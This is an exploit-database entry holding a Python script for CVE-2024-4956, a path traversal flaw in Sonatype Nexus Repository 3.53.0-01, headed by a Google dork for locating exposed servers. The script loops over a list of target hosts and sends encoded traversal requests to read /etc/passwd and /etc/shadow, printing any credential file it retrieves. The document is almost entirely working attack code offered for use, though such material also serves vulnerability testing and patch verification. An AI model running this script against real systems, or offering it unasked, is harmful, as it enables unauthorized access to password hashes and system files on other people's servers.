Sonatype Nexus Repository 3.53.0-01 - Path Traversal

# Exploit Title: Sonatype Nexus Repository 3.53.0-01 - Path Traversal
# Google Dork: header="Server: Nexus/3.53.0-01 (OSS)"
# Date: 2024-09-22
# Exploit Author: VeryLazyTech
# GitHub: https://github.com/verylazytech/CVE-2024-4956
# Vendor Homepage: https://www.sonatype.com/nexus-repository
# Software Link: https://www.sonatype.com/nexus-repository
# Version: 3.53.0-01
# Tested on: Ubuntu 20.04
# CVE: CVE-2024-4956

import requests
import random
import argparse
from colorama import Fore, Style

green = Fore.GREEN
magenta = Fore.MAGENTA
cyan = Fore.CYAN
mixed = Fore.RED + Fore.BLUE
red = Fore.RED
blue = Fore.BLUE
yellow = Fore.YELLOW
white = Fore.WHITE
reset = Style.RESET_ALL
bold = Style.BRIGHT
colors = [green, cyan, blue]
random_color = random.choice(colors)


def banner():
    banner = f"""{bold}{random_color}
  ______     _______   ____   ___ ____  _  _     _  _   ___  ____   __   
 / ___\ \   / / ____| |___ \ / _ \___ \| || |   | || | / _ \| ___| / /_  
| |    \ \ / /|  _|     __) | | | |__) | || |_  | || || (_) |___ \| '_ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _| |__   _\__, |___) | (_) |
 \____|  \_/  |_____| |_____|\___/_____|  |_|      |_|   /_/|____/ \___/ 
                                                                         
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                                                                                     
                    {bold}{white}@VeryLazyTech - Medium {reset}\n"""
                    
    return banner


def read_ip_port_list(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
    return [line.strip() for line in lines]


def make_request(ip_port, url_path):
    url = f"http://{ip_port}/{url_path}"
    try:
        response = requests.get(url, timeout=5) 
        return response.text
    except requests.RequestException as e:
        return None


def main(ip_port_list):
    for ip_port in ip_port_list:
        for url_path in ["%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd", "%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/shadow"]:
            response_text = make_request(ip_port, url_path)
            if response_text and "nexus:x:200:200:Nexus Repository Manager user:/opt/sonatype/nexus:/bin/false" not in response_text and "Not Found" not in response_text and "400 Bad Request" not in response_text and "root" in response_text:
                print(f"Address: {ip_port}")
                print(f"File Contents for passwd:\n{response_text}" if "passwd" in url_path else f"File Contents for shadow:\n{response_text}")
                break


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation tool for CVE-2024-4956", usage=argparse.SUPPRESS)
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or IP with port for vulnerability detection\n")
    group.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs or IPs for vulnerability detection\n")
    args = parser.parse_args()
    
    if args.list:
        ip_port_list = read_ip_port_list(args.list)
        print(banner())
        main(ip_port_list)
    elif args.url:
        ip_port_list = [args.url]
        print(banner())
        main(ip_port_list)
    else:
        print(banner())
        parser.print_help()